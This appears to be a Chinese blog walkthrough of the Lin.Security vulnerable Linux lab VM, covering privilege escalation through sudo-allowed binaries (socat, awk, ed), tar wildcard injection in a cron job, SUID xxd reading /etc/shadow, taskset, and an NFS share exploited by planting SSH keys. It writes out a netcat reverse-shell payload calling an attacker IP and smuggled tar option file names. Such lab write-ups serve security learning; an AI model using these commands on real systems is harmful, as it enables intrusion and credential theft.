靶机渗透——Lin.Security

靶机描述

在in.security,我们希望开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。
首先,您可以使用以下凭据登录主机:bob / secret

下载地址:https://in.security/downloads/lin.security_v1.0.ova

环境配置

在开机的一瞬间,按shift,然后按e,就会进入命令行,如下图,修改ro--->rw signie init=/bin/bash,中间的Maybe-ubiquity是原本就有的。
在这里插入图片描述
按ctrl+x或者F10重启,重启之后查看网卡为ens33,如下图
在这里插入图片描述
这时候需要在

vim /etc/netplan/50-cloud-init.yaml
netplan apply //配置应用生效

修改enp0s3为ens33,修改之后应用,并且重启

Ubuntu从16.04开始,虽然/etc/network/interfaces 里也可以修改固定IP的配置,但是多网卡采用netplan方式,配置文件是:/etc/netplan/50-cloud-init.yaml

在这里插入图片描述
在这里插入图片描述

一、信息收集

1.扫描端口,开放了22端口,根据给的账号进行远程登录:

nmap -sS -Pn -T4 -sV -O 192.168.92.7

在这里插入图片描述
ssh连接
在这里插入图片描述
id查看用户id以及所属群组id:
在这里插入图片描述

超级用户(0):默认是root用户,其UID和GID都是0。root用户在每台Unix和Linux系统中都是唯一且真是存在的,通过它可以登陆系统,操作系统中任何文件执行系统中任何命令,拥有最高管理权限。

普通用户(1~499):系统中大多数用户都是普通用户,实际中也一般使用普通用户操作,需要权限是用sudo命令提升权限。

虚拟用户(500~65535):与真实的普通用户区分开来,这类用户最大特点是安装系统后默认就会存在,且默认情况大多数不能登陆系统,其在/etc/passwd文件中,最后字段为/sbin/nologin。是系统正常运行不可缺少的,主要是方便系统管理,满足相应的系统进程对文件属主的要求

二、sudo提权

1.sudo -l查看支持root权限的命令
在这里插入图片描述
该靶机有多个提权的方法

以下命令可以直接提权

sudo ash
sudo bash
sudo /bin/bash
sudo dash
sudo csh
sudo sh
sudo curl
sudo zsh

2.socat提权
在服务端建立一个端口1234的shell

sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane

在这里插入图片描述

再开一个窗口远程连接,在本地机器启动本地的1234端口LISTEN:

socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:1234

在这里插入图片描述
3.awk提权

awk是专门为文本处理设计的编程语言,是一门数据驱动的编程语言,与sed类似都是以数据驱动的行处理软件,主要用于数据扫描、过滤、统计汇总工作,数据可以来自标准输入、管道或者文件。
awk是一种处理文本文件的编程语言,文件的每行数据都被称为记录,默认以空格或制表符为分隔符,每条记录被分成若干字段(列),awk每次从文件中读取一条记录。

语法格式:
awk [选项] ‘条件{动作}  条件{动作} ... ...’  文件名
sudo awk 'BEGIN {system("/bin/sh")}'

在这里插入图片描述
4.ed提权
ed命令用于启动ed文本编辑器,使用ed命令访问空缓冲区来调用bash/sh shell造成提权。

sudo ed
!sh

在这里插入图片描述
等等

三、crontab定时任务

crontab文件格式

 *  *  *  *  *  command
 分  时  日  月  周  命令

第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令

查看定时任务:cat /etc/crontab
在这里插入图片描述
在kali上生成payload的命令:

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.92.7 lport=9999 R 

生成的payload:

mkfifo /tmp/vcmg; nc 192.168.92.7 9999 0</tmp/vcmg | /bin/sh >/tmp/vcmg 2>&1; rm /tmp/vcmg

在这里插入图片描述
接下来在靶机上运行:

#将payload写入shell.sh,并赋予执行权限
echo "mkfifo /tmp/vqfv; nc 192.168.56.106 9999 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv" > shell.sh && chmod +x shell.sh

#再创建两个文件:--checkpoint-action=exec=sh shell.sh 和 --checkpoint=1
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
##--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。
##因此,选项--checkpoint=1 和 --checkpoint-action=exec=sh shell.sh作为命令行选项交给了tar程序

#nc -lvvp 9999开启本地监听,等待定时任务的反弹连接

在这里插入图片描述

四、敏感隐藏文件

find查找所有隐藏文件:

find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

在这里插入图片描述
查看文件,得到susan账户的密码MySuperS3cretValue!
在这里插入图片描述

五、SUID提权

查找 suid权限文件的命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

在这里插入图片描述

xxd命令可以为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式,当suid和执行权限一起使用将会造成提权
找到的这些都是以root权限运行的,包含SUID的‘s’的,属主是root的文件

1.首先查看组信息,itservices组具有执行权限
查看到用户susan属于itservices用户组:

cat /etc/group | grep itservices

在这里插入图片描述
切换为susan用户执行命令查看/etc/shadow/文件:

xxd "/etc/shadow" |xxd -r

在这里插入图片描述

root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
/etc/shadow/
只有root用户权限能够查看

保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分

1.用户名
2.加密后的密码
3.上次修改密码的时间(从1970.1.1开始的总天数)
4.两次修改密码间隔的最少天数,如果为0,则没有限制
5.两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制
6.提前多少天警告用户密码将过期
7.在密码过期之后多少天禁用此用户
8.用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9.保留

#由示例可知,加密的密码具有固定格式:
$id$salt$encrypted
id表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512
salt为盐值,系统随机生成
encrypted表示密码的hash值

taskset执行bash

taskset 1 /bin/bash -p

在这里插入图片描述

taskset命令用于设置进程(或 线程)的处理器亲和性(Processor Affinity),可以将进程(或 线程)绑定到特定的一个 或 多个CPU上去执行,而不允许将进程(或 线程)调度到其他的CPU上。

六、NFS服务低权限访问

在这里插入图片描述

NFS:Network File System即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。2049端口,对应nfs服务.

查看可以访问的 nfs 目录

showmount -e 192.168.56.106

showmount命令用于查询NFS服务器的相关信息

在这里插入图片描述
#挂载peter home目录:
在这里插入图片描述
尝试在挂载的目录里创建文件,提示权限不够

即使我们在kali攻击机上是root用户,但是我们还是没有写入权限,因为默认情况下客户端的root身份会被主动压缩成匿名者

原理为:在Kali上挂载NFS共享,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005

groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005

在这里插入图片描述
在这里插入图片描述
现在我们就有了写文件的权限

写入ssh公钥

#[攻击机]ssh-keygen生成公私钥对
ssh-keygen
#创建.ssh目录
peter@kali:/mnt/peter$ mkdir .ssh

#传输public key
peter@kali:/mnt/peter$ cat ~/.ssh/id_rsa.pub > /mnt/peter/.ssh/authorized_keys

#设置权限
peter@kali:/mnt/peter/ chmod 700 .ssh/
peter@kali:/mnt/peter/.ssh$ chmod 600 authorized_keys

#使用私钥登录

在这里插入图片描述

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值